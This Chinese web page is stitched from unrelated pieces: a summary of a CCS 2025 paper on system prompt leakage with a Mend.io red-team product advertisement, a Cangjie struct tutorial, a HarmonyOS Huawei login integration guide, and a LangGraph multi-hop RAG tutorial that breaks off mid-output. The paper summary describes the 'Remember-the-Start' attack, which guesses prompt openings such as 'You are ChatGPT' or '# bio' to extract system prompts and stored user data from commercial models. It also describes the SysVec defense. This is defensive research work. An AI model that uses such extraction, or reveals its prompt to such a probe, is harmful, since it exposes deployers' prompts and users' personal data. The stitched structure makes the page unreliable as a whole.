这期分享的安全会议是来自安全顶级会议之一的ACM CCS 2025，题目是You Can’t Steal Nothing: Mitigating Prompt Leakages in LLMs via System Vectors（你无法窃取任何东西：通过系统向量缓解LLM中的prompt泄露），官网链接为https://dl.acm.org/doi/10.1145/3719027.3765124

一、研究背景

大型语言模型（LLMs）已广泛应用于各类场景，通过定制化系统提示实现多样化任务。在某种程度上，系统提示已成为LLMs应用中最宝贵的资产。作为交互开始时的引导语，系统提示定义了LLMs回应的行为模式、语气风格和范围，使其性能能够精准匹配特定用户或应用场景的需求。

然而LLMs存在系统提示词泄露风险，最初的提示词泄露攻击可能只是要求大语言模型简单进行prompt的重复，到后面攻击手段进化成诱导模型忽略指令进行重复prompt。一些防御策略被提出以防范提示词泄露攻击，例如通过监督微调或与精心设计/收集的提示泄露样本进行偏好对齐，这种防御手段确实也有效抵挡了一些简单的提示词泄露攻击。

但是在面对一些经过精心设计，更加复杂的攻击时，LLM就很难实现有效的防御，根本原因是重复和调用上下文是模型的核心能力之一。所以为了从根源解决提示词泄漏攻击，本文作者提出了一个思路，即以不同形式将系统提示输入LLM，而非将其置于上下文中。这种情况下即使LLM可以重复上下文，也没办法导致提示词泄漏攻击，因为prmopt并非处于上下文环境中。

二、本文工作概述

本文提出了一种简单却高效的提示泄露策略，用于检测当前 SOTA 大语言模型（LLM）的提示泄露风险。该策略的核心在于帮助LLM记住其上下文片段，从而恢复上下文重复能力。通过这一策略，本文成功绕过了现有 SOTA 的防御手段，从主流商用模型（如GPT-4o、Claude 3.5 Sonnet和Gemini 1.5）中获取了系统提示甚至存储的用户信息。

本文提出了一种基于表征的防御机制SysVec，通过将系统提示移出大语言模型（LLM）的文本上下文来防止信息泄露。具体而言，SysVec将系统提示转化为LLM内部空间中的隐藏表征向量，确保这些提示不会在原始文本输出中被暴露或重复。

三、“记住开头”攻击（Remember-the-Start Attack）

“记住开头”攻击是本文提出的提示泄露风险，具体来说，攻击者虽然不知道系统的准确起始内容，但会利用公开来源的前缀进行猜测（例如“你是ChatGPT”）。攻击者通过推测系统提示的典型开头语句，帮助大语言模型（LLM）重新聚焦上下文中的系统提示部分，并引导其重复系统提示。

例如，许多系统提示以“你是[Chatbot Name]...”这类开头。攻击者可以设计引用这类知识片段的查询，但省略直接指示例如“忽略”或“重复”。通过这种方式，LLM可能恢复其正常的上下文重复能力并泄露系统提示。我们在图1中展示了真实案例，成功获取了GPT-4o的系统提示及记录的用户个人信息。

“记住开头”攻击可以通过迭代优化来提升效果。攻击者在获得初始攻击结果后，会利用过往成功尝试的更多信息来改进前缀，尝试使用
“从‘# bio’开始”、“从‘# bio \n [2024’”等策略，逐步提高攻击成功率或收集更多隐藏信息。这也是“记住开头”攻击的关键特征：攻击者可以通过“随机尝试”的方式重复改进攻击请求以提高成功率。不过在本文中，为确保攻击效果的确定性，作者直接采用预设的初始化参数来执行攻击。

图1 攻击案例四、SysVec设计“记住开头”攻击的成功使得本文进一步探索当前LLM提示词泄露的有效缓解方案。传统的文本prompt大概是通过如下的流程嵌入到模型中：系统提示（System Prompt Text）作为一段可读文本，与用户输入一起进入模型上下文。系统提示经过 tokenizer，被转换为一系列 token embedding。这些 token embedding 与用户输入的 embedding 一样，进入 Transformer 的：Attention 层MLP（前馈网络）一个不得不面对的关键问题是由于系统提示词信息以明文形式与用户的输入混杂在上下文中，攻击者能够通过恢复上下文重复功能，诱导模型泄露信息。

所以本文设计了一个新的思路，即将系统提示词移除上下文的语境，同时不牺牲其在引导LLM生成和保持LLM执行广泛任务能力方面的性能。表征工程（RepE）为本文的研究指明了一个好的方向，表征工程旨在识别LLM内部隐藏表征空间中特定层级的表征向量v，该层级控制模型生成以遵循特定行为或偏好。其实这里的表征向量v就类似我们以明文形式设定在上下文中prompt。SysVec框架下的prompt嵌入流程大概如下：系统提示文本不再直接用于推理时的上下文输入。系统提示在训练或离线阶段进行映射、压缩成为一组内部表示，而不是token序列生成系统向量直接注入 Transformer 内部所以本文需要解决的问题就聚焦于如何将文本系统提示转化为对应的系统向量。本文提出一种基于优化的方法来寻找这个能够代替prompt的系统向量，优化的目标如下

其中Y1和Yw的表达式分别如下，Y1表达的含义是用户指令x为输入生成的回复（称为 “非偏好回复”）,Yw表达的含义是LLM以文本系统提示词s + 用户指令x为输入生成的回复（称为 “偏好回复”）；：

那么这个优化函数的目的是找到一个系统向量，将其加入到模型的中间特征之后，模型生成偏好性回复的概率加大，而非偏好性回复的概率降低。这个系统向量就会成为我们需要的那个能够代替文本提示词的关键向量。

五、设计优劣

文章通过大量的实验证明了SysVec的设计在不同模型与攻击场景下，都能显著减少提示词泄露程度，且SysVec在保留模型功能完整性上表现更好，不影响模型正常输出质量或语义推理能力。

但是这种设计也存在局限性，首先是由于系统提示词是通过向量的形式嵌入到模型中，因此需要“白盒访问”模型内部，在某些场景（例如使用第三方API）不太现实，其次提示调整的灵活性不如文本提示直观。

六、艾体宝Mend.io(原Whitesource) 系统提示词泄露测试方案
Mend.io 作为一个完整统一的应用安全测试平台，将 AI 安全纳入到统一的安全测试与治理框架中，其 AI 红队（AI Red Team）功能能够在不同预设攻击场景下，对大语言模型及其应用进行系统化的提示词泄露攻击尝试。

该能力通过模拟真实攻击者的交互方式，覆盖包括上下文恢复、语义诱导、角色混淆、多轮对话拼接等多种提示词泄露路径，对模型在实际部署环境中的防御能力进行评估。
通过这种方式，Mend.io 帮助企业将提示词泄露问题从“模型偶发行为”转化为可测试、可评估、可治理的应用安全风险，从而更安全地推动大语言模型在企业级场景中的落地与规模化使用。

struct类型的定义以关键字struct开头，后跟struct的名字，接着是定义在一对花括号中的struct定义体。struct定义体中可以定义一系列的成员变量、成员属性、静态初始化器、构造函数和成员函数。

定义struct类型

以下是定义struct类型的一个示例：

struct Rectangle {
    let width: Int64
    let height: Int64

    public init(width: Int64, height: Int64) {
        this.width = width
        this.height = height
    }

    public func area() {
        width * height
    }
}

上例中定义了名为Rectangle的struct类型，它有两个Int64类型的成员变量width和height，一个有两个Int64类型参数的构造函数init，以及一个成员函数area，用于返回width和height的乘积。

1. struct成员变量

struct成员变量分为实例成员变量和静态成员变量（使用static修饰符修饰，且必须有初值），二者访问上的区别在于实例成员变量只能通过struct实例访问，静态成员变量只能通过struct类型名访问。

实例成员变量定义时可以不设置初值（但必须标注类型），如上例中的width和height。也可以设置初值，例如：

struct Rectangle {
    let width = 10
    let height = 20
}

2. struct静态初始化器

struct支持定义静态初始化器，并在静态初始化器中通过赋值表达式来对静态成员变量进行初始化。

静态初始化器以关键字组合static init开头，后跟无参参数列表和函数体，且不能被访问修饰符修饰。函数体中必须完成对所有未初始化的静态成员变量的初始化，否则编译报错。

struct Rectangle {
    static let degree: Int64
    static init() {
        degree = 180
    }
}

一个struct中最多允许定义一个静态初始化器，否则报重定义错误。

struct Rectangle {
    static let degree: Int64
    static init() {
        degree = 180
    }
    static init() { // 错误！用前面的静态init函数重新定义
        degree = 180
    }
}

3. struct构造函数

struct支持两类构造函数：普通构造函数和主构造函数。

普通构造函数以关键字init开头，后跟参数列表和函数体，函数体中必须完成对所有未初始化的实例成员变量的初始化，否则编译报错。

struct Rectangle {
    let width: Int64
    let height: Int64

    public init(width: Int64, height: Int64) { // 错误！ 'height'未在构造函数中初始化
        this.width = width
    }
}

一个struct中可以定义多个普通构造函数，但它们必须构成重载，否则报重定义错误。

struct Rectangle {
    let width: Int64
    let height: Int64

    public init(width: Int64) {
        this.width = width
        this.height = width
    }

    public init(width: Int64, height: Int64) { // 正确！用第一个init函数重载
        this.width = width
        this.height = height
    }

    public init(height: Int64) { // 错误！使用第一个init函数重新定义
        this.width = height
        this.height = height
    }
}

除了可以定义若干普通的以init为名字的构造函数外，struct内还可以定义（最多）一个主构造函数。主构造函数的名字和struct类型名相同，它的参数列表中可以有两种形式的形参：普通形参和成员变量形参（需要在参数名前加上let或var），成员变量形参同时扮演定义成员变量和构造函数参数的功能。

使用主构造函数通常可以简化struct的定义，例如，上述包含一个init构造函数的Rectangle可以简化为如下定义：

struct Rectangle {
    public Rectangle(let width: Int64, let height: Int64) {}
}

主构造函数的参数列表中也可以定义普通形参，例如：

struct Rectangle {
    public Rectangle(name: String, let width: Int64, let height: Int64) {}
}

如果struct定义中不存在自定义构造函数（包括主构造函数），并且所有实例成员变量都有初始值，则会自动为其生成一个无参构造函数（调用此无参构造函数会创建一个所有实例成员变量的值均等于其初值的对象）；否则，不会自动生成此无参构造函数。例如，对于如下struct定义，注释中给出了自动生成的无参构造函数：

struct Rectangle {
    let width: Int64 = 10
    let height: Int64 = 10
    /* Auto-generated memberwise constructor:
    public init() {
    }
    */
}

4. struct成员函数

struct成员函数分为实例成员函数和静态成员函数（使用static修饰符修饰），二者的区别在于：实例成员函数只能通过struct实例访问，静态成员函数只能通过struct类型名访问；静态成员函数中不能访问实例成员变量，也不能调用实例成员函数，但在实例成员函数中可以访问静态成员变量以及静态成员函数。

下例中，area是实例成员函数，typeName是静态成员函数。

struct Rectangle {
    let width: Int64 = 10
    let height: Int64 = 20

    public func area() {
        this.width * this.height
    }

    public static func typeName(): String {
        "Rectangle"
    }
}

实例成员函数中可以通过this访问实例成员变量，例如：

struct Rectangle {
    let width: Int64 = 1
    let height: Int64 = 1

    public func area() {
        this.width * this.height
    }
}

5. struct成员的访问修饰符

struct的成员，包括成员变量、成员属性、构造函数、成员函数、操作符函数，可以用4种访问修饰符修饰：private、internal、protected和public，缺省的修饰符是internal。

• private表示在struct定义内可见。
• internal表示仅当前包及子包内可见。
• protected表示当前模块可见。
• public表示模块内外均可见。

下面的例子中，width是public修饰的成员，在类外可以访问，height是缺省访问修饰符的成员，仅在当前包及子包可见，其他包无法访问。

package a
publicstructRectangle {
    public var width: Int64
    var height: Int64
    private var area: Int64
    ...
}

func samePkgFunc() {
    var r = Rectangle(10, 20)
    r.width = 8               // Ok: public 'width' can be accessed here
    r.height = 24             // Ok: 'height' has no modifier and can be accessed here
    r.area = 30               // 错误！, private 'area' can't be accessed here
}
package b
import a.*
main() {
    var r = Rectangle(10, 20)
    r.width = 8               // Ok: public 'width' can be accessed here
    r.height = 24             // 错误！, no modifier 'height' can't be accessed here
    r.area = 30               // 错误！, private 'area' can't be accessed here
}

6. 禁止递归struct

递归和互递归定义的struct均是非法的。例如：

struct R1 { // 错误！'R1' 递归引用自身
    let other: R1
}
struct R2 { // 错误！'R2' 和 'R3' 递归引用自身
    let other: R3
}
struct R3 { // 错误！'R2' 和 'R3' 递归引用自身
    let other: R2
}

创建struct实例

定义了struct类型后，即可通过调用struct的构造函数来创建struct实例。在struct定义之外，通过struct类型名调用构造函数。例如，下例中定义了一个Rectangle类型的变量r。

let r = Rectangle(10, 20)

创建了struct实例之后，可以通过实例访问它的（public修饰的）实例成员变量和实例成员函数。例如，下例中通过r.width和r.height可分别访问r中width和height的值，通过r.area()可以调用r的成员函数area。

let r = Rectangle(10, 20)
let width = r.width   // width = 10
let height = r.height // height = 20
let a = r.area()      // a = 200

如果希望通过struct实例去修改成员变量的值，需要将struct类型的变量定义为可变变量，并且被修改的成员变量也必须是可变成员变量（使用var定义）。举例如下：

struct Rectangle {
    public var width: Int64
    public var height: Int64

    public init(width: Int64, height: Int64) {
        this.width = width
        this.height = height
    }

    public func area() {
        width * height
    }
}

main() {
    var r = Rectangle(10, 20) // r.width = 10, r.height = 20
    r.width = 8               // r.width = 8
    r.height = 24             // r.height = 24
    let a = r.area()          // a = 192
}

在赋值或传参时，会对struct实例进行复制，生成新的实例，对其中一个实例的修改并不会影响另外一个实例。以赋值为例，下面的例子中，将r1赋值给r2之后，修改r1的width和height的值，并不会影响r2的width和height值。

struct Rectangle {
    public var width: Int64
    public var height: Int64

    public init(width: Int64, height: Int64) {
        this.width = width
        this.height = height
    }

    public func area() {
        width * height
    }
}

main() {
    var r1 = Rectangle(10, 20) // r1.width = 10, r1.height = 20
    var r2 = r1                // r2.width = 10, r2.height = 20
    r1.width = 8               // r1.width = 8
    r1.height = 24             // r1.height = 24
    let a1 = r1.area()         // a1 = 192
    let a2 = r2.area()         // a2 = 200
}

mut函数

struct类型是值类型，其实例成员函数无法修改实例本身。例如，下例中，成员函数g中不能修改成员变量i的值。

struct Foo {
    var i = 0

    public func g() {
        i += 1  // 错误！无法在实例成员函数中修改实例成员变量的值
    }
}

mut函数是一种可以修改struct实例本身的特殊的实例成员函数。在mut函数内部，this的语义是特殊的，这种this拥有原地修改字段的能力。

注：只允许在interface、struct和struct的扩展内定义mut函数，禁止在class中定义mut函数。

mut函数与普通的实例成员函数相比，多一个mut关键字来修饰。

例如，下例中在函数g之前增加mut修饰符之后，即可在函数体内修改成员变量i的值。

struct Foo {
    var i = 0

    public mut func g() {
        i += 1  // 正确
    }
}

参考引用

• 示例源码，见免费开源书《跟老卫学仓颉编程语言开发》
• 免费开源书《跟老卫学HarmonyOS开发》
• HarmonyOS NEXT+AI大模型打造智能助手APP（仓颉版）（视频）
• 仓颉编程从入门到实践（北京大学出版社）

背景

在开发“智能带办”应用时涉及到用户体系，开发阶段使用固定验证码形式跑通，在上线前准备接入短信服务时却遇到了难题，短信服务目前只对企业开发者开放了，个人开发者没办法再使用短信服务。为了顺利上架，退后求其次，改为了使用邮箱验证码等了。

邮箱验证码登录有两个弊端，一是不方便，很多用户进来发现是邮箱验证码登录不方便直接就退出应用了；二是合规风险，在申请安全评估报告时如果涉及到用户体系要求实名，邮箱没办法保证实名，还得再加入额外的实名体系，不仅麻烦而且很多都限制个人开发者没法使用。

其实最开始也考虑过要接入华为登录，看了一键登录文档发现也是只针对企业开发者，以为也是只有企业开发者可以使用，后面看了“华为账号登录”后发现个人开发者也可以使用，只是取不到手机号，正好不使用手机号可以规避合规方面的风险。

华为登录能力介绍

华为账号服务简介

Account Kit（华为账号服务）提供简单、快速、安全的登录功能，让用户快捷地使用华为账号登录应用。用户授权后，Account Kit可提供头像、昵称、手机号码等信息，帮助应用更了解用户。华为账号服务提供了登录、获取华为账号用户信息、未成年模式等。在开发过程中涉及下面几个概念：

• OpenID：应用维度用户标识符，是华为账号用户在应用/元服务的唯一标识。不同应用/元服务（不管是否在同一个开发者账号下）获取到用户的OpenID不同。
• UnionID：开发者维度用户标识符，华为账号用户同一开发者账号下的唯一标识。开发者有多个应用/元服务时，同一个开发者账号下的应用/元服务获取到用户的UnionID相同。
• GroupUnionID：关联主体账号组维度用户标识符，是华为账号用户在关联主体账号组内的唯一标识。不同开发者账号加入同一关联主体账号组后，其组内所有开发者的应用/元服务获取到用户的GroupUnionID相同。
• permission：数据或接口权限，通过该权限判断应用是否能获取对应数据或调用对应接口。
• scopes：scope列表，用于获取用户数据。开发者向华为账号服务申请不同类型用户数据的标识。比如头像昵称（profile）、匿名手机号（quickLoginAnonymousPhone）等。
• Authorization Code：授权码，用户使用华为账号登录成功之后，可通过返回的凭据解析出授权码，通过授权码可获取Access Token、Refresh Token、ID Token等。
• Access Token：访问凭证，是访问被权限管控资源的应用级凭证。可使用Access Token调用获取用户信息接口获取用户信息。
• ID Token：用户身份凭证，是OIDC (OpenID Connect) 协议相对于OAuth 2.0 协议扩展的一个用户身份凭证，包含用户信息。用户使用华为账号登录成功之后，可通过返回的凭据解析出Authorization Code、ID Token等数据。

在我们接口华为用户服务后，可以使用OpenId和UnionID绑定我们自己的账号体系。

华为账号服务交互流程

由于个人开发者无法使用“一键登录”，本文主要介绍 “华为账号登录”按钮登录。使用按钮登录我们可以使用Account Kit提供的华为账号登录按钮及服务端交互获取华为账号用户身份标识UnionID、OpenID，通过UnionID、OpenID完成用户登录；或者与应用账号完成绑定，绑定后用于登录或者验证。

华为账号登录按钮包含文本、标志和文本、标志三种样式，以满足应用对界面风格一致性和灵活性的要求。

账号服务开发者与华为能力交互流程如下图所示：

交互流程说明如下：
流程说明：

1. 调用登录按钮展示登录页阶段（序号1-3）：

   1. 用户打开应用进行登录，应用设置LoginType类型为LoginType.ID后拉起应用自己的登录页并展示“华为账号登录”按钮，用户点击按钮，请求华为账号授权信息。

2. 用户点击登录阶段（序号4-6）：

   1. 如华为账号未登录，将拉起华为账号登录页，用户登录后，将返回Authorization Code等数据给应用。
   2. 如华为账号已登录，将直接返回Authorization Code等数据给应用。

3. 用户关联应用账号阶段（序号7-16）：

   1. 应用服务端通过Authorization Code获取到Access Token，再使用Access Token调用解析凭证接口获取用户相关信息。通过Authorization Code凭证获取用户信息可以有效避免黑客通过数据遍历、身份伪造、重放攻击等手段导致的安全风险。
   2. 应用服务端将业务登录凭证SessionId、UnionID/OpenID传给应用，应用获取到UnionID/OpenID可用于判断华为账号是否登录等功能。
   3. 应用对用户身份标识UnionID/OpenID、业务登录凭证SessionId信息进行认证后，通过UnionID/OpenID判断用户是否已关联应用系统数据库，如已关联，则完成用户登录；如未关联，则创建新用户，绑定UnionID/OpenID。

华为账号服务提供了LoginWithHuaweiIDButton组件，构造中需要传入LoginWithHuaweiIDButtonParams类型和 LoginWithHuaweiIDButtonController类型的参数，LoginWithHuaweiIDButtonParams属性如下：

智能带办接入过程

目前应用只支持华为登录，页面UI如下：

在页面中配置红色的LoginWithHuaweiIDButton：

LoginWithHuaweiIDButton({  
    params: {  
      // LoginWithHuaweiIDButton支持的样式  
      style: loginComponentManager.Style.BUTTON_RED,  
      // 账号登录按钮在登录过程中展示加载态  
      extraStyle: {  
        buttonStyle: new loginComponentManager.ButtonStyle().loadingStyle({  
          show: true  
        })  
      },  
      // LoginWithHuaweiIDButton的边框圆角半径  
      borderRadius: 24,  
      // LoginWithHuaweiIDButton支持的登录类型  
      loginType: loginComponentManager.LoginType.ID,  
      // LoginWithHuaweiIDButton支持按钮的样式跟随系统深浅色模式切换  
      supportDarkMode: true  
    },  
    controller: this.controller  
  })  
}  
.height(40)  
.width('100%')  
.margin({top:50})  
.padding({left:25, right:25})

控制器controller定义如下：

controller: loginComponentManager.LoginWithHuaweiIDButtonController =  
  new loginComponentManager.LoginWithHuaweiIDButtonController()  
    .setAgreementStatus(loginComponentManager.AgreementStatus.NOT_ACCEPTED)  
    .onClickLoginWithHuaweiIDButton((error: BusinessError, response: loginComponentManager.HuaweiIDCredential) => {  
      if (error) {  
        this.dealAllError(error);  
        return;  
      }  
  
      if (response) {  
        Logger.i(TAG, 'Succeeded in getting response.');  
        const authCode = response.authorizationCode;  
        // 开发者处理authCode  
        this.getUserInfoPermission(authCode)  
      }  
    });

在controller中获取回调，如果登录成功则通过authorizationCode继续申请用户华为头像和昵称授权：

getUserInfoPermission(authCode:string){  
  // 创建授权请求，并设置参数  
  const authRequest = new authentication.HuaweiIDProvider().createAuthorizationWithHuaweiIDRequest();  
  // 获取头像昵称需要传如下scope  
  authRequest.scopes = ['profile'];  
  // 若开发者需要进行服务端开发以获取头像昵称，则需传如下permission获取authorizationCode  
  authRequest.permissions = ['serviceauthcode'];  
  // 用户是否需要登录授权，该值为true且用户未登录或未授权时，会拉起用户登录或授权页面  
  authRequest.forceAuthorization = true;  
  // 用于防跨站点请求伪造  
  authRequest.state = util.generateRandomUUID();  
  // 执行授权请求  
  try {  
    const controller = new authentication.AuthenticationController(this.getUIContext().getHostContext());  
    controller.executeRequest(authRequest).then((data) => {  
      const authorizationWithHuaweiIDResponse = data as authentication.AuthorizationWithHuaweiIDResponse;  
      const state = authorizationWithHuaweiIDResponse.state;  
      if (state && authRequest.state !== state) {  
        Logger.i(TAG, `Failed to authorize. The state is different, response state: ${state}`);  
        return;  
      }  
      Logger.i(TAG,'Succeeded in authentication.');  
      const authorizationWithHuaweiIDCredential = authorizationWithHuaweiIDResponse?.data;  
      const avatarUri = authorizationWithHuaweiIDCredential?.avatarUri;  
      const nickName = authorizationWithHuaweiIDCredential?.nickName;  
      // 开发者处理avatarUri, nickName  
      const authorizationCode = authorizationWithHuaweiIDCredential?.authorizationCode;  
      Logger.i(TAG, 'getUserInfoPermission:' + JsonUtils.toJSONString(authorizationWithHuaweiIDCredential))  
      this.sendLoginRequest(authorizationCode??authCode)  
      // 涉及服务端开发以获取头像昵称场景，开发者处理authorizationCode  
    }).catch((err: BusinessError) => {  
      this.dealAllError(err);  
    });  
  } catch (error) {  
    this.dealAllError(error);  
  }  
}

用户授权成功后请求服务端接口，服务端通过authorizationCode调用华为服务获取accessToken，接着获取用户信息，绑定自己的账号体系返回自己账号体系的token即可。通过下面接口获取用户级凭证：

POST /oauth2/v3/token HTTP/1.1
Host: oauth-login.cloud.huawei.com
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=<code>&client_id=<client_id>&client_secret=<client_secret>

接着通过下面示例获取用户昵称和头像：

POST /rest.php?nsp_svc=GOpen.User.getInfo HTTP/1.1
Host: account.cloud.huawei.com
Content-Type: application/x-www-form-urlencoded

access_token=<Access Token>

必须在手机上调起授权获取用户授权后这里才可以请求到用户头像和昵称。

总结

本次“智能带办”应用的登录体系接入实践，源于上线前短信服务仅对企业开发者开放的限制，迫使我们从固定验证码、邮箱验证码转向华为账号登录方案。初期因误判“一键登录”仅限企业开发者而忽略“华为账号登录”，后发现个人开发者虽无法获取手机号，但恰好规避了邮箱登录的用户体验差（用户因不便退出）与实名合规风险（需额外实名体系），成为关键破局点。

华为账号服务（Account Kit）通过OpenID（应用唯一标识）、UnionID（开发者唯一标识）等核心概念，为个人开发者提供了安全高效的登录能力：既支持自定义样式的登录按钮（如本文配置的红色BUTTON_RED按钮），又通过Authorization Code→Access Token→用户信息的流程保障安全，避免身份伪造等风险。接入过程中，我们通过LoginWithHuaweiIDButton组件实现前端交互，结合服务端解析凭证绑定自有账号体系，最终完成用户登录闭环。

此次实践的核心启示在于：面对企业级服务限制时，需深度挖掘平台对个人开发者的差异化能力——华为账号登录虽不提供手机号，却以“去实名化”特性解决了合规痛点，同时依托成熟的OAuth 2.0/OIDC协议与丰富组件（如支持深色模式、自定义圆角的按钮），兼顾了开发效率与用户体验。未来，可进一步探索UnionID在多应用间的用户打通能力，或结合GroupUnionID拓展关联主体场景，持续完善登录体系的灵活性与扩展性。

本系列介绍增强现代智能体系统可靠性的设计模式，以直观方式逐一介绍每个概念，拆解其目的，然后实现简单可行的版本，演示其如何融入现实世界的智能体系统。本系列一共 14 篇文章，这是第 14 篇。原文：Building the 14 Key Pillars of Agentic AI

优化智能体解决方案需要软件工程确保组件协调、并行运行并与系统高效交互。例如预测执行，会尝试处理可预测查询以降低时延，或者进行冗余执行，即对同一智能体重复执行多次以防单点故障。其他增强现代智能体系统可靠性的模式包括：

• 并行工具：智能体同时执行独立 API 调用以隐藏 I/O 时延。
• 层级智能体：管理者将任务拆分为由执行智能体处理的小步骤。
• 竞争性智能体组合：多个智能体提出答案，系统选出最佳。
• 冗余执行：即两个或多个智能体解决同一任务以检测错误并提高可靠性。
• 并行检索和混合检索：多种检索策略协同运行以提升上下文质量。
• 多跳检索：智能体通过迭代检索步骤收集更深入、更相关的信息。

还有很多其他模式。

本系列将实现最常用智能体模式背后的基础概念，以直观方式逐一介绍每个概念，拆解其目的，然后实现简单可行的版本，演示其如何融入现实世界的智能体系统。

所有理论和代码都在 GitHub 仓库里：🤖 Agentic Parallelism: A Practical Guide 🚀

代码库组织如下：

agentic-parallelism/
    ├── 01_parallel_tool_use.ipynb
    ├── 02_parallel_hypothesis.ipynb
    ...
    ├── 06_competitive_agent_ensembles.ipynb
    ├── 07_agent_assembly_line.ipynb
    ├── 08_decentralized_blackboard.ipynb
    ...
    ├── 13_parallel_context_preprocessing.ipynb
    └── 14_parallel_multi_hop_retrieval.ipynb

深度推理的多跳检索

许多复杂的用户查询并非单一问题，而是比较性的、多步骤的调研任务，需要从多个不同来源的文档中综合信息。

解决方案是 并行多跳检索（Parallel Multi-Hop Retrieval） 架构，这种模式将 RAG 系统提升为真正的调研代理，工作流模拟人类研究员如何处理复杂问题的过程：

1. 分解（Decompose）：高级元代理首先分析复杂的用户查询，将其分解为几个更简单、独立的子问题。
2. 分散（并行检索）：每个子问题都被派发给各自的专用检索代理。这些代理并行运行，每个代理执行标准 RAG 流程，为特定子问题寻找答案。
3. 收集与综合：元代理收集所有子问题的答案，进行最终推理步骤，将它们综合为对原始复杂查询的单一、全面的答案。

我们将以一个无法通过单一检索回答的比较性问题为例，构建并比较简单 RAG 系统与多跳 RAG 系统，证明只有多跳系统才能成功收集必要的证据，以提供准确且富有洞察力的最终答案。

首先为初始分解步骤定义 Pydantic 模型，从而结构化元代理规划阶段输出的内容。

from langchain_core.pydantic_v1 import BaseModel, Field
from typing import List

class SubQuestions(BaseModel):
    """分解代理输出的Pydantic模型，包含一组独立的子问题"""
    questions: List[str] = Field(description="A list of 2-3 simple, self-contained questions that, when answered together, will fully address the original complex query.")

这个 SubQuestions 模型是元代理首次行动的合约，迫使 LLM 将复杂查询分解为一系列简单、可回答的问题，是并行"分而治之"策略的基础步骤。

然后构建高级多跳系统作为 LangGraph 图。第一个节点将是"分解器"，即元代理的规划角色。

from typing import TypedDict, List, Dict, Annotated
import operator

class MultiHopRAGState(TypedDict):
    original_question: str
    sub_questions: List[str]
    # 字典以问题作为键，存储每个子问题的答案
    sub_question_answers: Annotated[Dict[str, str], operator.update]
    final_answer: str

# 节点 1：分解器（元代理的第一步）
decomposer_prompt = ChatPromptTemplate.from_template(
    "You are a query decomposition expert. Your job is to break down a complex question into simple, independent sub-questions that can be answered by a retrieval system. "
    "Do not try to answer the questions yourself.\n\n"
    "Question: {question}"
)

decomposer_chain = decomposer_prompt | llm.with_structured_output(SubQuestions)

def decomposer_node(state: MultiHopRAGState):
    """获取原始复杂问题并将其分解为子问题列表"""
    print("--- [Meta-Agent] Decomposing complex question... ---")
    result = decomposer_chain.invoke({"question": state['original_question']})
    print(f"--- [Meta-Agent] Generated {len(result.questions)} sub-questions. ---")
    return {"sub_questions": result.questions}

decomposer_node 是研究代理的战略大脑，它不会尝试回答查询，其唯一且关键的任务是分析用户意图并将其分解为一组独立、可并行化的研究任务。

下一个节点将并行为每个子问题协调执行标准的 RAG 流程。

from concurrent.futures import ThreadPoolExecutor, as_completed

# 标准、自包含的RAG链，是并行检索代理的“引擎”
sub_question_rag_chain = (
    {"context": retriever | format_docs, "question": RunnablePassthrough()}
    | generator_prompt
    | llm
    | StrOutputParser()
)

def retrieval_agent_node(state: MultiHopRAGState):
    """节点 2：为每个子问题并行运行完整 RAG 进程"""
    print(f"--- [Retrieval Agents] Answering {len(state['sub_questions'])} sub-questions in parallel... ---")
    
    answers = {}
    # 用 ThreadPoolExecutor 对每个子问题并发运行‘sub_question_rag_chain’
    with ThreadPoolExecutor(max_workers=len(state['sub_questions'])) as executor:
        # 为每个待回答子问题构建一个 future
        future_to_question = {executor.submit(sub_question_rag_chain.invoke, q): q for q in state['sub_questions']}
        for future in as_completed(future_to_question):
            question = future_to_question[future]
            try:
                answer = future.result()
                answers[question] = answer
                print(f"  - Answer found for sub-question: '{question}'")
            except Exception as e:
                answers[question] = f"Error answering question: {e}"
    # 将结果收集到“sub_question_answers”字典中
    return {"sub_question_answers": answers}

retrieval_agent_node 是系统中的分散-聚合核心，接收 sub_questions 列表，并用 ThreadPoolExecutor 将每个条目分配到各自独立的 RAG 链。这是一种强大的并行形式，同时运行多个完整 RAG 流程。在所有并行代理找到答案后，该节点将所有发现汇总到 sub_question_answers 字典中。

最后，“合成器”节点作为元代理的最终步骤，将并行发现整合为一个连贯的答案。

# 节点 3：合成器（元代理的最后一步）
synthesizer_prompt = ChatPromptTemplate.from_template(
    "You are a synthesis expert. Your job is to combine the answers to several sub-questions into a single, cohesive, and comprehensive answer to the user's original complex question.\n\n"
    "Original Question: {original_question}\n\n"
    "Sub-Question Answers:\n{sub_question_answers}"
)

synthesizer_chain = synthesizer_prompt | llm | StrOutputParser()

def synthesizer_node(state: MultiHopRAGState):
    """获取子问题的答案，并合成最终的全面答案"""
    print("--- [Meta-Agent] Synthesizing final answer... ---")
    
    # 将收集的子问题答案格式化为最终提示
    sub_answers_str = "\n".join([f"- Q: {q}\n- A: {a}" for q, a in state['sub_question_answers'].items()])
    
    final_answer = synthesizer_chain.invoke({
        "original_question": state['original_question'],
        "sub_question_answers": sub_answers_str
    })
    return {"final_answer": final_answer}

synthesizer_node 是至关重要的最终推理步骤，它本身不执行任何检索，任务是接收 sub_question_answers 中的预处理事实，并将其构造为能直接回应用户原始复杂查询的连贯叙述。

最后按线性顺序组装图：分解 -> 并行检索 -> 综合。

from langgraph.graph import StateGraph, END

workflow = StateGraph(MultiHopRAGState)
workflow.add_node("decompose", decomposer_node)
workflow.add_node("retrieve_in_parallel", retrieval_agent_node)
workflow.add_node("synthesize", synthesizer_node)

workflow.set_entry_point("decompose")

workflow.add_edge("decompose", "retrieve_in_parallel")
workflow.add_edge("retrieve_in_parallel", "synthesize")
workflow.add_edge("synthesize", END)
multi_hop_rag_app = workflow.compile()

给两个系统一个复杂且需要比较的问题，这个问题无法通过单次检索调用正确回答，从而对比分析两种查询方式。

# 查询需要比较两个产品，信息在独立、不重叠的文档中
user_query = "Compare the QLeap-V4 and the Eco-AI-M2, focusing on their target use case and power consumption."

# --- 执行简单 RAG ---
print("="*60)
print("                  SIMPLE RAG SYSTEM OUTPUT")
print("="*60 + "\n")
print(f"Final Answer:\n{simple_answer}")

# --- 执行多跳 RAG ---
print("\n" + "="*60)
print("                 MULTI-HOP RAG SYSTEM OUTPUT")
print("="*60 + "\n")
print("--- Sub-Question Answers ---")
for i, (q, a) in enumerate(multi_hop_result['sub_question_answers'].items()):
    print(f"{i+1}. Q: {q}\n   A: {a}")
print("\n--- Final Synthesized Answer ---")
print(multi_hop_result['final_answer'])

# --- 最终分析 ---
print("\n" + "="*60)
print("                     ACCURACY & QUALITY ANALYSIS")
print("="*60 + "\n")
print("**Simple RAG Performance:**")
print("- Result: COMPLETE FAILURE.")
